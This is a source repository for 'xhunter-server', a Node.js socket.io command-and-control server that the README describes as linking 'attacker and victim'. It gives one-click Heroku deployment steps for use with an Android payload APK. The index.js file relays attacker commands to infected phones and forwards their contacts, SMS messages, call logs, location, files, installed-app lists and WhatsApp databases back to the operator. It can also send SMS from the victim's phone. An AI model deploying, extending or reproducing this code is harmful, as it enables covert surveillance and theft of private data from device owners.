Repository: anirudhmalik/xhunter-server
Branch: main
Commit: 27eb6a532e90
Files: 5
Total size: 4.5 KB

Directory structure:
gitextract_2437cb0e/

├── .gitignore
├── README.md
├── app.json
├── index.js
└── package.json

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FILE CONTENTS
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FILE: .gitignore
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# node.js
#
node_modules/
npm-debug.log
yarn-error.log

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FILE: README.md
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# xhunter-server

xhunter-server is used to communicate between attacker and victim. It is very easy to host on [heroku](https://www.heroku.com/). follow the below steps:

#### Setup
- Signup and create a heroku account [here](https://signup.heroku.com)
- After login, click the below **Deploy** button.

   [![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anirudhmalik/xhunter-server)
 
 - Give your app a name `<your_app_name>` and click `Deploy app` button.
 - Wait for the process to complete. 
 - Once complete, Click `view app` and If you see `Welcome to Xhunter Backend Server!!` then you have successfully created your server.
 - Now use this url `https://<your_app_name>.herokuapp.com` in [xhunter_v1.6.apk](https://github.com/anirudhmalik/xhunter/releases/tag/v1.6). during building payload and listening connection.


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FILE: app.json
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{
    "name": "xhunter-server",
    "description": "backbone for xhunter app",
    "repository": "https://github.com/anirudhmalik/xhunter/tree/master/xhunter-server"
}

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FILE: index.js
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const express = require('express');
const app = express()
const server = require('http').createServer(app)
const { Server } = require('socket.io')
const io = new Server(server, {
  maxHttpBufferSize: 1e8, // 1mb
});

var victimList={};
var deviceList={};
var victimData={};
var adminSocketId=null;
const port = 8080;

server.listen(process.env.PORT || port, (err) => {  if (err) return;log("Server Started : " + port);});
app.get('/', (req, res) => res.send('Welcome to Xhunter Backend Server!!'))

io.on('connection', (socket) => {
    socket.on('adminJoin', ()=>{
        adminSocketId=socket.id;
        if(Object.keys(victimData).length>0){
            Object.keys(victimData).map((key)=>socket.emit("join", victimData[key]));
        }
    })
    socket.on('request', request);//from attacker
    socket.on('join',(device)=>{
        log("Victim joined => socketId "+JSON.stringify(socket.id));
        victimList[device.id] =  socket.id;
        victimData[device.id]= {...device,socketId: socket.id};
        deviceList[socket.id] =  {
          "id":  device.id,
          "model":  device.model
        }
        socket.broadcast.emit("join", {...device,socketId: socket.id});
      });

      socket.on('getDir',(data)=>response("getDir",data));
      socket.on('getInstalledApps',(data)=>response("getInstalledApps",data));
      socket.on('getContacts',(data)=>response("getContacts",data));
      socket.on('sendSMS',(data)=>response("sendSMS",data));
      socket.on('getCallLog',(data)=>response("getCallLog",data));
      socket.on("previewImage", (data) =>response("previewImage",data));
      socket.on("error", (data) =>response("error",data));
      socket.on("getSMS", (data) =>response("getSMS",data));
      socket.on('getLocation',(data)=>response("getLocation",data));
     
      socket.on('disconnect', () => {
        if(socket.id===adminSocketId){
            adminSocketId=null
        }else{
            response("disconnectClient",socket.id)
            Object.keys(victimList).map((key)=>{
                if(victimList[key] === socket.id){
                  delete victimList[key]
                  delete victimData[key]
                }
              })
        }
    });
    
    socket.on("download", (d, callback) =>responseBinary("download", d, callback));
    socket.on("downloadWhatsappDatabase", (d, callback) => {
        socket.broadcast.emit("downloadWhatsappDatabase", d, callback);
       });


});

const request =(d)=>{// request from attacker to victim
    let { to, action, data } = JSON.parse(d);
    log("Requesting action: "+ action);
    io.to(victimList[to]).emit(action, data);
  }

const response =(action, data)=>{// response from victim to attacker
    if(adminSocketId){
        log("response action: "+ action);
        io.to(adminSocketId).emit(action, data);
    }
  }
  const responseBinary =(action, data, callback)=>{// response from victim to attacker
    if(adminSocketId){
        log("response action: "+ action);
        callback("success")
        io.to(adminSocketId).emit(action, data);
    }
  }
// LOGGER
const log = (log) =>{
    console.log(log)
  }


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FILE: package.json
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{
  "name": "xhunter-server",
  "version": "1.0.0",
  "description": "backbone for xhunter app",
  "main": "index.js",
  "scripts": {
    "start": "nodemon index.js"
  },
  "keywords": [
    "xhunter-server"
  ],
  "author": "anirudhmalik",
  "license": "MIT",
  "dependencies": {
    "express": "^4.18.1",
    "nodemon": "^2.0.19",
    "socket.io": "^4.5.1"
  },
  "engines": {
    "node": "16.x"
  }
}